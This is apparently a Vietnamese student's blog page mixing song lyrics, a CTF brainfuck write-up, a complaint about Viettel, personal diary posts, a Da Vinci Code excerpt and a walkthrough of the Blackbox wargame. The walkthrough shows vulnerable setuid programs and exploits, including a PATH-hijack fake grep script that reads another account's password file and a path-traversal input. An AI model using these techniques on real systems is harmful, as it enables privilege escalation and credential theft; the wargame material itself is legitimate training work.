If today was your last day

No comments:
Cho các bạn của tôi, hãy sống hết mình cho ngày hôm nay ;) .



My best friend gave me the best advice
He said each day's a gift and not a given right
Leave no stone unturned, leave your fears behind
And try to take the path less traveled by
That first step you take is the longest stride

If today was your last day and tomorrow was too late
Could you say goodbye to yesterday?
Would you live each moment like your last
Leave old pictures in the past?
Donate every dime you had, if today was your last day?
What if, what if, if today was your last day?

Against the grain should be a way of life
What's worth the price is always worth the fight
Every second counts 'cause there's no second try
So live like you're never living twice
Don't take the free ride in your own life

If today was your last day and tomorrow was too late
Could you say goodbye to yesterday?
Would you live each moment like your last?
Leave old pictures in the past?
Donate every dime you had?

And would you call those friends you never see?
Reminisce old memories?
Would you forgive your enemies?
And would you find that one you're dreaming of?
Swear up and down to God above
That you'd finally fall in love if today was your last day?

If today was your last day
Would you make your mark by mending a broken heart?
You know it's never too late to shoot for the stars
Regardless of who you are

So do whatever it takes
'Cause you can't rewind a moment in this life
Let nothing stand in your way
'Cause the hands of time are never on your side

If today was your last day and tomorrow was too late
Could you say goodbye to yesterday?
Would you live each moment like your last?
Leave old pictures in the past?
Donate every dime you had?

And would you call those friends you never see?
Reminisce old memories?
Would you forgive your enemies?
And would you find that one you're dreaming of
Swear up and down to God above
That you'd finally fall in love if today was your last day?

leet more ctf 2010 write up - wrapp it !

No comments:
Bài này 200pts, nhìn chung là dễ. Chỉ cần  biết về brainfuck programming và bình tĩnh chút là xong ngay.

Về Brainfuck, có thể tham khảo trang wiki là đủ .

Đề bài như sau :

<[-]>>,[[-]<->]<[<->-]<[>-<+]>>[<+>-]+>[<<-<+>>>-]<<<[>>>+<<<-]<[>-<[-]]>>>-<<>-[<->-]<[>+<-]>.


đề bài cho mình một đoạn code viết bằng mã brainfuck, và yêu cầu là phải rút gọn đoạn code đó về độ dài không được lớn hơn 12 kí tự. lòng vòng hỏi ban tổ chức thì được biết là sẽ chỉ test kết quả cuối cùng, được in ra thôi, còn các giá trị ở các cell . nhận được đề này là vào tầm khoản 12h đêm, nên đầu óc không minh mẫn lắm. lần đầu là mình lao vào giải trên giấy, nhưng thấy không khả quan lắm nên tìm một cái brainfuck interpreter để dịch vậy. Tìm được cái này, khá tốt . Sau một hồi thử các giá trị thì kết quả xuất ra cuối cùng như sau :

input #0 --> output = 1
input = 1 ---> output = 0

Và đây là đoạn mã brainfuck thỏa mãn đề bài : ,[[-]>-<]>+.

 trên là mã của mình, còn một số đọan mã khác vẫn được BTC chấp nhận .

leetmore CTF 2010 !

No comments:


lastday, I played Leetmore CTF 2010 with my team - bkitsec ( #bkitsec@irc.freenode.net ). The final result, my team take a 3rd place - nice . Some writeup will come here later. Just wait and see.

Thanks Leetmore CTF 2010 staffs . flow this blog for more informations : http://leetmore.ctf.su/



Oh Those Admins! 


http://auntitled.blogspot.com/2010/09/leet-more-ctf-2010-write-up-oh-dears.html 

http://cvk.posterous.com/sql-injection-with-raw-md5-hashes http://blog.nibbles.fr/?p=2039 (fr)

Lottery 

http://auntitled.blogspot.com/2010/09/leet-more-ctf-2010-write-up-lottery.html

ELFquest

http://blog.nibbles.fr/?p=2108 (fr)
http://leetmore.ctf.su/wp/leet-more-2010-elf-quest-writeup/


Stack or what 

http://blog.nibbles.fr/?p=2071 (fr)
http://leetmore.ctf.su/wp/leet-more-2010-stack-or-what-writeup/


Rad Subscription Algorithm 

http://blog.nibbles.fr/?p=2072 (fr)

LameHackers 

http://blog.nibbles.fr/?p=2055 (fr)v
Noise magic 

http://leetmore.ctf.su/wp/leet-more-2010-noise-magic-writeup/

Strange cipher

http://leetmore.ctf.su/wp/leet-more-2010-strange-cipher-writeup/



Vì sao tôi tẩy chay Viettel

No comments:
Chiều nay, bỗng dưng sim SV Viettel của mình bị khóa hai chiều, gọi điện hỏi tổng đài thì nhận được những lời giải thích và hướng dẫn rất vô lý. Bắt buộc phải viết bài này để cảnh báo cho tất cả mọi người, dù có bị bị dụ dỗ như thế nào đi chăn nữa thì cũng đừng bao giờ sài các dịch vụ của Viettel.

Thật tình, không phải chỉ vì một việc cỏn con là bị khóa sim mà tôi lại quyết định tẩy chay Viettel. Trước đó, rất nhiều lần Viettel hành xử thiếu chuyên nghiệp. Cộng với lần này, sau việc bị khóa sim thì là một loạt các giải trình và hướng giải quyết hết sức vô lý của bên Viettel mới chính là nguyên nhân chính khiến tôi quyết định như vậy.

Lúc trước, tôi có sài dịch vụ điện thoại dây và ADSL của Viettel. Nhưng do điều kiện không cho phép nữa, cậu tôi đã ngừng dịch vụ ADSL, khi ngừng thì nhân viên thu cước nói rỏ ràng rằng : "Anh cứ nợ cước lại 20.000 VNĐ đi, khi nào muốn dùng lại thì cứ ra nộp 20.000 VNĐ là được. " . Nhưng cách đây 2 tháng, tôi có đi ra cửa hàng Viettel nộp cước ADSL đó và hỏi có mở lại không. Nhưng nhân viên bảo rằng không được. Do ngừng lâu nên đã bị ngắt. Anh phải đăng ký lại (mấy con nhân viên rất láu cá, không biết nó ăn bao nhiêu %/ 1 hợp đồng mà lúc nào cũng xúi người ta làm hợp đồng mới). Mấy chị nhân viên này còn dụ mình là : "nếu bây giờ em bắt mới thì chị sẽ cố gắng 2 3 ngày sẽ có thể dùng được, còn khôi phục thì có khi mất hơn tuần ????".Cái gì đây, hớ hả mấy chị. được thôi, đã lườn trước tình huống này, đành bảo là thôi, để em tính sau; rồi về nhà. Về đến nhà, điện tổng đài của Viettel (0862500119) thì chị tổng đài bảo là ADSL chỉ bị khóa do không dùng quá lâu, bây giờ chỉ cần mang giấy đăng ký kinh doanh và CMND giám đốc ra làm hợp đồng kết nối lại thôi. À, thì sẵn sàng. Hôm sau, mình mang đủ giấy tờ ra, cả hai chị ở chỗ cửa hàng Viettel vẫn khăn khăn như vậy, rằng : " không được, thuê bao internet bị cắt lâu quá rồi nên không thể khôi phục được ...." . Một lần nữa mình phải điện tổng đài, để mấy chị tổng đài "dạy" lại mấy chị nhân viên này cách xử lý như thế nào cho tình huống này. Rồi, khi nghe chị tổng đài giáo huấn xong thì lại hẹn, tiếp tục hẹn mình rằng sau 1 tuần nữa sẽ có nhân viên kĩ thuật điện thoại trả lời và đấu cáp.

Ngồi nhà hơn một tuần lễ, mình điện tổng đài hỏi lại, sau một hồi giằng co, rồi chị ta cũng bảo mình chờ tiếp !!!! Một vài ngày sau đó, mình test thử thì tự nhiên có mạng, không cần làm hợp đồng kết nối lại nhá !?!?!?!? (vô lý không ???).

Tháng sau - thu cước. Vớ vẩn, mình đang ở quê nghỉ hè. Cậu điện về hỏi "Mi đăng ký kiểu gì mà tiền cước Internet tháng này lên tới 450.000 VNĐ vậy ?". À, biết là có chuyện rồi, thôi bảo cậu để đó, mình sẽ giải quyết sau.

Vô SG, mình điện tổng đài hỏi thử thì bảo là  gói cước mình đang dùng là gói cước tính tiền theo lưu lượng ... WTF ??? Vòng vo một hồi, mình nói chị ta tra lại rỏ ràng các thời điểm trước khi bị khóa và khôi phục, rỏ ràng là vẫn trọn gói, làm gì có việc khôi phục kiêm luôn việc chuyển đổi gói cước cho khách hàng ??? Chị ta bảo mang hợp đồng làm lúc khôi phục lại internet ra cửa hàng của Viettel, nhân viên ở đó sẽ giải quyết .... mà, làm gì có cái hợp đồng nào mà mang. Thôi được, thân chinh ra cửa hàng, mình đi nộp cước. Nói chị thu ngân tra cước giúp mình, 450k VND ???? Mình bảo chị xem lại gói cước mình đang dùng .... lưu lượng. Quái vậy nhỉ ???? đấu tranh tư tưởng một hồi, rằng trước đó - khi chưa khóa thì mình vẫn đang sài trọn gói, nhưng bây giờ lại là lưu lượng. Chị ta quả quyết là việc khôi phục ko ảnh hưởng đến gói cước đang dùng. Ồ, không lẽ chị ta bị thiểu năng hay sao nhỉ, rành rành thế mà. Bảo chị ta điện cho tổng đài, hỏi rành rỏi các thời điểm và đặt tính gói cước của mình, thì rỏ ràng hiện tại mình phải sài trọn gói. Thấy rỏ ràng hệ thống có vấn đề, chị ta xem xét lại, trên hai hệ thống (nói thêm là việc quản lý Internet của Viettel - tôi chỉ biết vậy thôi - là được quản lý trên hai hệ thống riêng biệt : FPT và của Viettel ???, rỏ ràng hai hệ thống này hoạt động không đồng bộ với nhau) thì một bên gói cước của tôi là trọn gói, một bên là lưu lượng ... Và không một lời xin lỗi, nhân viên kia làm thinh. Tôi hỏi lại là : "bây giờ em nộp thì sẽ mở lại ngay đúng không chị, nộp bao nhiêu chị ???", và chị ấy trả lời là 250k VNĐ, rỏ ràng nếu không làm rỏ, nhiều người sẽ nộp 450k cho cái lỗi ngu ngốc thuộc về Viettel.

Nhưng chưa dừng lại ở đó, tôi chưa nộp đâu. Tôi hỏi : "Vậy tiền cước tháng này tính sao chị, tiền cước tháng mà bên chị cắt dịch vụ ADSL của em đó, rỏ ràng là lỗi của bên phía Viettel mà !" . Chị ấy trả lời là : "À, vẫn tính bình thường em, em sài trọng gói mà ??!?!?!?!?". Vô lý, tôi không vội nộp tiền đó, vâng, dại gì. Về nhà, tiếp tục gọi lên tổng đại để được giải quyết vấn đề còn lại (nẩy sinh thêm đó) thì các chị ấy hẹn tôi 1 h nữa sẽ có nhân viên gọi lại để giải quyết. À, đúng 1 tiếng sau thì có nhân viên gọi lại thật, mà không phải để giải quyết mà là để hẹn tiếp 1 tuần nữa (đến ngày 8/8)... Tiếp tục đợi, sau giờ hẹn mà chưa thấy bóng dáng thiên thần nào của Viettel trả lời, bực tức, tôi điện lại tổng đài. Chị ấy bảo sau 1 tiếng nữa, sẽ có nhân viên gọi lại. Một kịch bản y hệt mà tôi lại phải đợi đến ngày 13/8. Và không có ai trả lời. Tôi đành gọi lại tổng đài lần chót, hỏi chị ấy có cần thêm nhân viên khắc phục sự cố như tôi không, và bonus thêm cho chị ấy rằng : "Mấy chị không cần phí sức phải giải quyết đâu ạ, em kéo ADSL của VNPT rồi !".

Chiều hôm đó, một vài cuộc gọi từ tổng đài Viettel điện tôi và nói chuyện này nọ : "giải quyết xong rồi anh ạ", "bây giờ anh ra đóng cước giúp em rồi em sẽ mở lại cho anh ngay nha", "tiền cước của anh là ....", .... ôi thôi vớ vẫn, Viettel nên đưa mấy em miệng lưỡi ngon ngọt này sang làm tổng đài viên cho vnpt còn hơn, dịch vụ củ chuối mà chuyên đi ru ngủ khách hàng bằng những gịong ngon ngọt này.

--- Vừa nhận điện từ tổng đài Viettel, để hẹn giải quyết việc xóa thông tin sim của mình, lại hẹn đấy ; đến ngày 7; fuck Viettel ---

Rồi, tiếp tục là chuyện Viettel ngang nhiên xóa thông tin sim của tôi, khóa hai chiều mà không có bất kì lý do nào.

Sim SV, mới đăng ký hồi tháng 6, rỏ ràng, mình làm hợp hợp đồng đăng ký sim SV gồm cả bảng photo CMND, thẻ SV. Nhưng giờ phía Viettel lại báo lại là thông tin không chính xác nên xóa. Tôi gọi lại hỏi không chính xác chỗ nào thì không thấy giải trình rỏ ràng. Còn bảo là ngày mai anh mang đầy đủ giấy tờ ra cửa hàng Viettel để làm lại thông tin ?!? Nhưng cũng y vậy thôi chứ đâu có gì khác, nếu đăng ký lại y như vậy thì chắc chắn sẽ bị xóa. Tiếp tục "đấu tranh" với truyền thống quân đội mà, bây giờ thì đang hẹn để giải quyết. (lại hẹn !?!?!)

À, nói bên lề một tí nữa.  hôm đó, tình cờ nộp cước thôi. Có một Anh, thay vợ mình đi làm lại sim. Chị nhân viên lại viên lại bảo là không được, dù có CMND của vợ anh ở đây rồi cũng không được. Phải đích thân vợ anh ra đây mới làm được. Oh shit, vợ anh ta mới sinh xong đó mấy cô ạ, không biết cái thứ dịch vụ gì mà làm ăn như vậy nhỉ ?!?!?!

Tôi không biết Viettel "chất lượng" đến mức nào, dịch vụ tốt đến đâu nhưng với tư cách cá nhân tôi, giá trị thực sự Viettel mang lại không thấm thía gì với cái giá ta phải trả, sự bực tức, thời gian và cả chất lượng kém.

Internet hãy sài VNPT, di động hãy sài mobifone. Một công ty quân đội, rất TO. Khẩu hiệu phục vụ chu đáo khách hàng treo đầy tường các cửa hàng của Viettel chỉ là cái mác. Viettel là đồ bỏ.

Tôi chính thức tẩy chay Viettel !

2 năm một chặn đường dài

No comments:
Muốn viết gì đó, nhưng viết ra rồi lại xóa, hình như đôi tay này không kịp với suy nghĩ, suy nghĩ thì thoáng qua rồi đi thật xa, còn đôi tay thì vẫn ì ạch type.
Nhưng dù sao thì cũng phải viết tí gì đó để đánh cột  mốc về sự hiện diện của mình ở đây - Sài Gòn.



Còn nhớ như in buổi đầu tiên đặt chân lên mảnh đất này. Nắng, nóng, đông đúc và mệt mỏi. Có thể mình có cách đánh dấu lần đầu tiên khá lạ, đó là ... bệnh. Lần đó, Trung Thu, hớn hở theo các anh chị về Bến Tre tổ chức trung thu cho các em nhỏ. Đó là nguyên nhân trận ốm của mình. Chả hiểu vì duyên cớ làm sao, cả đoàn đi, về thì duy chỉ có mình dính. Mình đi là ngày chủ nhật, chiều thứ hai về. Qua thứ 3, chiều lên trường học Lý, chị dạy bài tập dạy dở, nên thèn nào cũng buồn ngủ và muốn về. Lúc đó mình đã ngấm bệnh rồi thì phải, không còn cảm giác gì nữa. Đầu óc lân lân, và cứ vậy mà đứng dậy, bước ra cửa - chỉ kịp nói gì đó, hình như là xin cô cho em ra ngoài rồi đi thẳng. Về sau mới biết, lúc đó mình như là thèn nổi nhất cả giảng đường thì phải, mình mở lối cho các anh em chiến hữu sau đó .... chuồn luôn :-| .

hai chặn xe buýt, đến nhà, không còn sức để bước nữa. Nhưng may thay, trạm cuối cùng là ngay một phòng khám, mình đi vào, và không còn biết gì nữa. Khi tỉnh dậy thì thấy đang được truyền nước, rồi sau đó thì về nhà ... Hôm sau đi khám, mới biết là mình bi sốt xuất huyết. Rồi .... tuần đầu tiên cúp hẳn, nằm liệt ở nhà, truyền dịch, hic.

Rồi những chuối ngày tiếp theo là những chuỗi ngày ăn chơi không mệt mỏi. Tham gia hoạt động đoàn hội từa lưa, rồi clb, rồi ns. Và bây giờ thì chỉ còn mỗi ns là niềm tự hào của mình. À, còn cả một tháng Quân Sự nữa chứ, đó là một thời gian không thể quên. Phòng mười mấy thèn, quậy như quỷ nhưng rất là vui :)).

Sau đó, miệt mài học tập. Nhớ nhất là những đêm tới 3h sáng cùng anh em ns, một đám chưa biết gì, theo chân anh Toàn, học . Nói chung là thời kì đầu khá khó khăn, vì đứa nào cũng chập chững, chưa biết gì cả. Nhưng dần già, với sự chỉ bảo tận tình của mấy anh chị, rồi cũng vững vàng dần. học học học, có thể những lần thâu đêm như thế làm mình trở thành như thèn nghiện khi về tết . Đầu tóc bù xù, ốm nhom ốm nhách, ôi thật kinh khủng .

Cuối năm nhất, mình  đi mùa hè xanh, và cũng là vùng quê "cũ" - Bến Tre. Một tháng ở đây giúp mình trưởng thành lên rất nhiều. ngoài việc thành thạo việc nấu nướng, mình còn nhận ra nhiều thứ - không phải ở đâu xa lạ mà ở quanh ta, rất đẹp - tự nhiên. Quen thêm nhiều anh em, trong khoa, và điều đặt biệt hơn nữa là việc uống "nước dừa" ngày một không làm mình khá hơn, mà nó làm mình bị chứng "nhờn nước dừa" - không thể ngồi lâu trong bàn dù trong bàn toàn "sơn hào hải vị " .


Thôi, đi ngủ. Còn nhiều nữa nhưng chắc nhiêu đây đủ kỷ niệm 2 năm rồi :D.

Sao năm cánh - tính nữ thiêng liêng.

No comments:
“Đó là một hình sao năm cánh”, Langdon nói, giọng ông nghe vang vọng trong không gian rộng lớn. “Một trong những biểu tượng cổ xưa nhất trên trái đất. Được dùng hơn bốn nghìn năm trước Công nguyên”.
“Và nó có ý nghĩa gì?”.
Câu hỏi này bao giờ cũng khiến Langdon do dự. Nói với ai đó một biểu tượng có ý nghĩa gì cũng giống như nói họ nên cảm nhận một bài hát như thế nào - điều đó với mỗi người một khác. Chiếc mũ trắng trùm đầu của Đảng 3K (Ku Klux Klan) gợi lên ở Mỹ những hình ảnh của căm thù và chủ nghĩa phân biệt chủng tộc, nhưng cùng trang phục ấy lại mang ý nghĩa về niềm tin tôn giáo ở Tây Ban Nha.
“Các biểu tượng mang những ý nghĩa khác nhau trong từng hoàn cảnh khác nhau!”, Langdon nói. “Ban đầu, ngôi sao năm cánh là biểu tượng vô tôn giáo”.
Fache gật đầu: “Thờ ma quỷ”.
“Không”, Langdon sửa lại, ngay lập tức nhận ra rằng sự lựa chọn từ ngữ của ông nên rõ ràng hơn.
Ngày nay, từ pagan (vô đạo) đã trở thành đồng nghĩa với thờ ma quỷ - một cách hiểu sai thô thiển. Gốc của từ này thực sự bắt nguồn từ chữ Latinh paganus, nghĩa là người nhà quê.
“Pagan” là những người dân quê chưa được truyền giáo thực sự nên cứ bám lấy những tôn giáo cổ xưa và thôn dã thờ Tự Nhiên. Trên thực tế, Nhà Thờ sợ những người sống ở làng quê đến nỗi một từ vô thưởng vô phạt để chỉ “dân làng” (villain) - cũng bị biến nghĩa thành kẻ xấu.
“Ngôi sao năm cánh”, Langdon cố làm cho nó dễ hiểu hơn, “là một biểu tượng trước Công Nguyên có liên quan đến tín ngưỡng tôn thờ Tự nhiên. Người cổ đại luôn hình dung thế giới của họ thành hai nửa - nam tính và nữ tính. Các nam thần và nữ thần của họ cùng nhau giữ cho cân bằng quyền lực âm và dương. Khi tính nam và tính nữ cân bằng thì có sự hài hòa trong thế giới. Khi chúng mất cân bằng, thì sẽ xuất hiện sự lộn xộn”.
Langdon chỉ vào bụng của Saunière. “Hình sao năm cánh này tiêu biểu nửa cái của mọi sự vật - một khái niệm mà các sứ giả tôn giáo gọi là “tính nữ thiêng liêng” hay “nữ thần siêu phàm”. Saunière ở trong số ít người biết được điều này”.
“Saunière vẽ một biểu tượng nữ thần trên bụng mình sao?”.
Langdon phải thừa nhận, điều đó có vẻ kỳ lạ: “Theo cách diễn giải cụ thể nhất, thì hình sao năm cánh tượng trưng cho thần Vệ nữ - nữ thần của tình yêu xác thịt và sắc đẹp”.
Fache nhìn người đàn ông lõa thể và lầm bầm.
“Tôn giáo sơ khai dựa trên trật tự thiêng liêng của Tự nhiên. Thần Vệ nữ và sao Kim là một. Nữ thần này có một chỗ trên bầu trời đêm và được gọi bằng nhiều tên - Vệ nữ, Ngôi Sao Phương Đông, Ishtar, Astarte - tất cả đều là những khái niệm mang tính nữ đầy quyền uy với mối liên hệ chặt chẽ với Tự nhiên và Mẹ Đất”.
Fache lúc này có vẻ còn hoang mang hơn, như thể, cách nào đó, ông ta vẫn thích cái ý nghĩa thờ ma quỷ hơn.
Langdon quyết định không nói cho ông ta biết đặc điểm kỳ lạ nhất của hình sao năm cánh - nguồn gốc những liên hệ mang tính đồ họa của nó với sao Kim.
Khi còn là một sinh viên trẻ khoa chiêm tinh học, Langdon đã sửng sốt khi biết rằng cứ tám năm một lần, sao Kim lại vẽ trên bầu trời một hình sao năm cánh hoàn hảo. Người cổ đại đã quá kinh ngạc khi quan sát hiện tượng này đến mức sao Kim cùng hình vẽ này trở thành biểu tượng của sự hoàn hảo, vẻ đẹp, và những phẩm chất chu kỳ của tình yêu nhục dục. Để tỏ lòng tôn kính đối với phép thuật của sao Kim, người Hy Lạp đã dùng chu kỳ tám năm để tổ chức thế vận hội Olympic. Ngày nay, rất ít người nhận ra rằng chu kỳ bốn năm của Olympic hiện đại vốn theo nửa chu kỳ của sao Kim. Càng hiếm hơn nữa những người biết rằng hình sao năm cánh đã từng gần như trở thành con dấu chính thức của thế vận hội Olympic nhưng đã bị cải biên vào phút cuối - năm đỉnh của nó chuyển thành năm vòng tròn giao nhau để phản ánh tốt hơn tinh thần đoàn kết và hòa đồng của các cuộc chơi.
“Ông Langdon”, Fache đột nhiên nói. “Rõ ràng, hình sao năm cánh chắc cũng liên quan đến ma quỷ. Những bộ phim Mỹ kinh dị của các ông chứng tỏ rõ điểm đó”.
Langdon cau mày. Cảm ơn ngài, Hollywood. Giờ đây, trên thực tế hình sao năm cánh là hình ảnh rập khuôn trong những bộ phim truyền hình nhiều tập thuộc loại dao găm súng lục, thường được vẽ trên tường nhà của những kẻ thờ quỷ Satan cùng với những biểu tượng khác được cho là gắn với ma quỷ.
Langdon luôn luôn thất vọng khi ông thấy biểu tượng sao năm cánh trong khung cảnh như vậy; nguồn gốc đích thực của hình sao năm cánh thực sự linh thiêng.
“Tôi cam đoan với ông”, Langdon nói, “dù ông nhìn thấy bất kỳ điều gì trong các bộ phim, thì cách giải thích mang tính ma quỷ về hình sao năm cánh vẫn là không chính xác về mặt lịch sử. Ý nghĩa nữ tính ban đầu là chính xác, nhưng tính biểu tượng của hình sao năm cánh đã bị bóp méo qua cả thiên niên kỷ. Trong trường hợp này, là thông qua chém giết”.
“Tôi không chắc là tôi hiểu những điều ông nói”.
Langdon liếc nhìn cây thánh giá của Fache, không biết làm thế nào để diễn đạt ý tiếp theo của mình: “Giáo hội, thưa ông.
Các biểu tượng thường rất lâu bền nhưng biểu tượng hình sao năm cánh đã bị Giáo hội Thiên Chúa giáo La Mã cổ thay đổi.
Như một phần trong chiến dịch của Vatican nhằm tiêu diệt tôn giáo vô thần và cải đạo cho dân chúng sang Thiên Chúa giáo, Giáo hội đã thực thi một chiến dịch bôi nhọ các nam thần và nữ thần ngoại đạo, biến những biểu tượng thần thánh của họ thành ma quỷ”.
“Tiếp tục đi”.
“Điều này rất phổ biến trong thời loạn”, Langdon tiếp tục. “Một thế lực mới nổi lên sẽ lấy các biểu tượng đang tồn tại và làm mất giá trị của chúng qua thời gian nhằm xóa đi ý nghĩa của chúng. Trong trận chiến giữa các biểu tượng vô đạo và biểu tượng của Thiên Chúa giáo, những người vô đạo đã thua; chiếc đinh ba của thần biển trở thành cái chĩa của quỷ, cái mũ nhọn của bà già thông thái trở thành biểu tượng của một phù thủy, và hình sao năm cánh của thần Vệ nữ trở thành một dấu hiệu của ma quỷ”. Langdon dừng lại. “Thật không may, quân đội Mỹ cũng hiểu sai hình sao năm cánh; giờ đây nó trở thành biểu tượng hàng đầu của chiến tranh. Chúng tôi vẽ nó trên tất cả các máy bay chiến đấu và gắn nó trên vai của mọi tướng lĩnh của chúng tôi. Chừng ấy điều xâm phạm đối với nữ thần tình yêu và sắc đẹp”.
“Hay đấy”, Fache hất đầu về phía cái xác nằm dang tay dang chân. “Còn vị trí của thi thể thì sao? ông nghĩ gì về điều đó?”.
Langdon nhún vai: “Vị trí chỉ đơn giản là để củng cố thêm gợi ý về hình sao năm cánh và tính nữ thiêng liêng”.
Vẻ mặt Fache sa sầm: “Làm ơn nhắc lại giùm?”.
“Bản sao. Việc nhắc lại một biểu tượng là cách đơn giản nhất để tăng cường ý nghĩa của nó. Jacques Saunière đặt cơ thể mình trong tư thế của hình sao năm cánh. Nếu một hình sao năm cánh là tốt, thì hai là tốt hơn”.
Mắt Fache nhìn theo năm đỉnh tay, chân, đầu của Saunière trong khi tay ông ta vuốt mái tóc trơn bóng.

Trích Chương 6 - Mật mã Da Vinci (Dan Brown)

Blackbox Wargame - Part 1

No comments:
Game này chủ yếu là tư duy + brain fucking là chính, chứ kĩ thuật thì không có gì đáng kể . Lúc trưa mới bắt mạng, chiều trời lại mưa nên lôi ra làm thử. Một èo tới level6, phần còn lại để dành làm đồ ăn mai dùng cho bữa sáng vậy. Thể lệ wargames này thì đơn giản, bọn nó sẽ cho bạn một cái password vào level1 - level đầu tiên. Phần nhiệm vụ của bạn là từ tài khoản đó, phải tìm cách khai thác một chương trình mang lỗi cho sẵn để nâng quyền lên level tiếp theo, và cứ như thế tiếp tục đến hết.

Trang chủ của wargame này : http://blackbox.smashthestack.org:85

ssh -l level1 blackbox.smashthestack.org -p 2225
Password: level1

Level1, có 1 file binary
-rws--xr-x  1 level2 level2 1189337 Jan 12  2008 login2
chạy thử file này :
level1@blackbox:~$ ./login2
Username: x
Password: x
Invalid username or password
à, chắc chắn sẽ có so sánh username + password, biết đâu đó password để vào level2 cũng có trong này thì sao, thử strings nó thử :
level1@blackbox:~$ strings login2 > /tmp/xxx
level1@blackbox:~$ ls /tmp/xxx
/tmp/xxx
level1@blackbox:~$ ls -la /tmp/xxx
-rw-r--r-- 1 level1 gamers 30296 Aug 14 13:45 /tmp/xxx
level1@blackbox:~$ head /tmp/xxx
PTRh
QVhz
0Y[]
[^_]
[^_]
[^_]
[^_]
,[^_]
[^_]
[^_]
---snip----
Khá dài, mò một chặp thì ra cái này : PassFor2 , đẹp nhỉ. Thử login vào thử level2, vào lun ;) .

Level2 :
source code :
level2@blackbox:~$ cat getowner.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    char *filename;
    char buf[128];

    if((filename = getenv("filename")) == NULL) {
        printf("No filename configured!\n");
        return 1;
    }

    while(*filename == '/')
        filename++;
    strcpy(buf, "/tmp/");
    strcpy(&buf[strlen(buf)], filename);

    struct stat stbuf;
    stat(buf, &stbuf);
    printf("The owner of this file is: %d\n", stbuf.st_uid);

    return 0;
}

quá đơn giản, lỗi stack overflow cơ bản, qua level này, kiếm pass level3 : Over****low

Level3 :
source code
level3@blackbox:~$ cat proclist.cc
#include <iostream>>
#include <>

int main(int main, char **argv)
{
    std::string command;
    std::string program;

    std::cout << "Enter the name of the program: ";
    std::cin >> program;

    for(unsigned int i = 0; i < program.length(); i++) {
        if(strchr(";^&|><", program[i]) != NULL) {
            std::cout << "Fatal error" << std::endl;
            return 1;
        }
    }


    // Execute the command to list the programs
    command = "/bin/ps |grep ";
    command += program;
    system(command.c_str());

    return 0;
}

gì mà rối tinh thế nhỉ, nhưng không quan trọng, chương trình chạy lệnh grep. Vậy thì tạo một cái grep "giả mạo" để đọc password rồi lừa nó đọc thôi chứ gì ;)).

level3@blackbox:~$ export PATH="/tmp/"
level3@blackbox:~$ ./proclist 
Enter the name of the program: x
BashingSh
level3@blackbox:~$ cat /tmp/grep
-bash: cat: command not found
level3@blackbox:~$ /usr/bin/cat /tmp/grep
-bash: /usr/bin/cat: No such file or directory
level3@blackbox:~$ /bin/cat /tmp/grep
#!/bin/sh
/bin/cat /home/level4/password
level3@blackbox:~$
Level 4 :
source code

#include <iostream>
#include <fstream>
#include <string>


std::string strreplace(const char *msg, const char *replace, const char *with)
{
    std::string ret;

    while(*msg) {
        if(strncmp(msg, replace, strlen(replace)) == 0) {
            ret += with;

            // Skip all in msg until we have another match
            msg++;
            for(unsigned int i = 1; i < strlen(replace) && *msg; i++) {
                if(strncmp(msg, replace, strlen(replace)) == 0)
                    break;
                msg++;
            }

            continue;
        } else
            ret += *msg;
        msg++;
    }

    return ret;
}

int main(int argc, char **argv)
{
    if(argc < 2) {
        std::cout << "This program allows you to read files from my shared files. See /usr/share/level5 for my shared files. Simply use the path relative to my shared files to read a file!" << std::endl;
        std::cout << "Example: " << argv[0] << " lyrics/foreverautumn" << std::endl;
        return 1;
    }

    std::string start_path = "/usr/share/level5/";
    std::string relative_path = "";
    char *ptr;

    ptr = argv[1];
    while(*ptr == '/' || *ptr == '.')
        ptr++;

    relative_path = strreplace(ptr, "/../", "");
    relative_path = strreplace(relative_path.c_str(), "/./", "");

    std::string realpath = start_path + relative_path;

    std::cout << "Contents of " << realpath << ":" << std::endl;

    std::ifstream file(realpath.c_str(), std::ios::in);
    if(!file.is_open()) {
        std::cerr << "Unable to open file" << std::endl;
        return 1;
    }

    std::string cline;

    while(!file.eof()) {
        std::getline(file, cline);
        std::cout << cline << std::endl;
    }

    return 0;
}
>"< , làm gì mà std:: rồi /../.. loạn xạ thế trời. Chương trình này đọc file, rồi xuất nội dung ra. Nhưng ý của chương trình là chỉ cho đọc trong /usr/share/level5/ thôi. Cái hàm replace() nó lọc kí tự đưa vào để "chống" ta đọc mấy file ngoài đó đấy. Sau một hồi fuzzing thì nó cũng lòi ra chỗ hở (lỗi nằm trong hàm replace() ), fuck ngay :

./shared ../ghj/./../././/
Contents of /usr/share/level5/ghj/../:

cứ như vầy mà dẫn nó đến file cần đọc ;) .

Level 5 :
#include <stdio.h>


int main(int argc, char **argv)
{
    char buf[100];
    size_t len;
    char fixedbuf[10240];
    FILE *fh;
    char *ptr = fixedbuf;
    int i;

    fh = fopen("somefile", "r");
    if(!fh)
        return 0;

    while((len = fread(buf, 1, 100, fh)) > 0) {
        for(i = 0; i < len; i++) {
            // Disable output modifiers
            switch(buf[i]) {
            case 0xFF:
            case 0x00:
            case 0x01:
                break;
            default:
                *ptr = buf[i];
                ptr++;
            }
        }
    }
    printf("%s", fixedbuf);

    fclose(fh);
}

ghê gớm nhỉ :)) . Nhưng mà nó đọc file, rồi in ra. Cho nó đọc file ta đang cần là xong ;) .



Hết phần 1.

Trở về

No comments:
Vậy là đã đặng 5 tháng, mình lại được về quê, về với má, với ba, với thèn em, với lũ bạn thân yêu. Nữa tháng thôi, mình sẽ làm gì trong nữa tháng này nhỉ . Sẽ chơi với bạn bè của mình cho thật đã, hihi.

Ôi, đồ giặc lúc trưa, thi xong lúc chiều về mới phơi. Không biết là có khô nổi không, huhuhu.

ì lại

No comments:
Đang chơi ctf với mọi người, nhưng mình lại cứ đi tới gần đích, nhìn thấy con đường rồi lại dừng lại. Mình tìm kiếm cái gì chăng ???


Bỏ . Chạy lang thang thì lọt vào blog của anh hieuln, haha, phải đọc thử lão viết gì nào. Nói chuyện nhiều ở #vnsec, nhưng khi đọc blog thì mới thấy cái đáng giá, đáng học hỏi. Blog có nhiều bài viết rất đã, giống mình, từ suy nghĩ, tình yêu, đến cách sống... ka ka ka.

Thôi đi ngủ, mai có đề mới làm tiếp. Bài 8 fmt chỉ có thế thôi, mà không chịu làm gì cả, thiệt là ... mày đang bị gì à.

Anh yêu em - Nếu có thể hãy cho tình yêu sự kiên nhẫn

1 comment:
Mượn tâm sự của người để bày tỏ nỗi lòng .


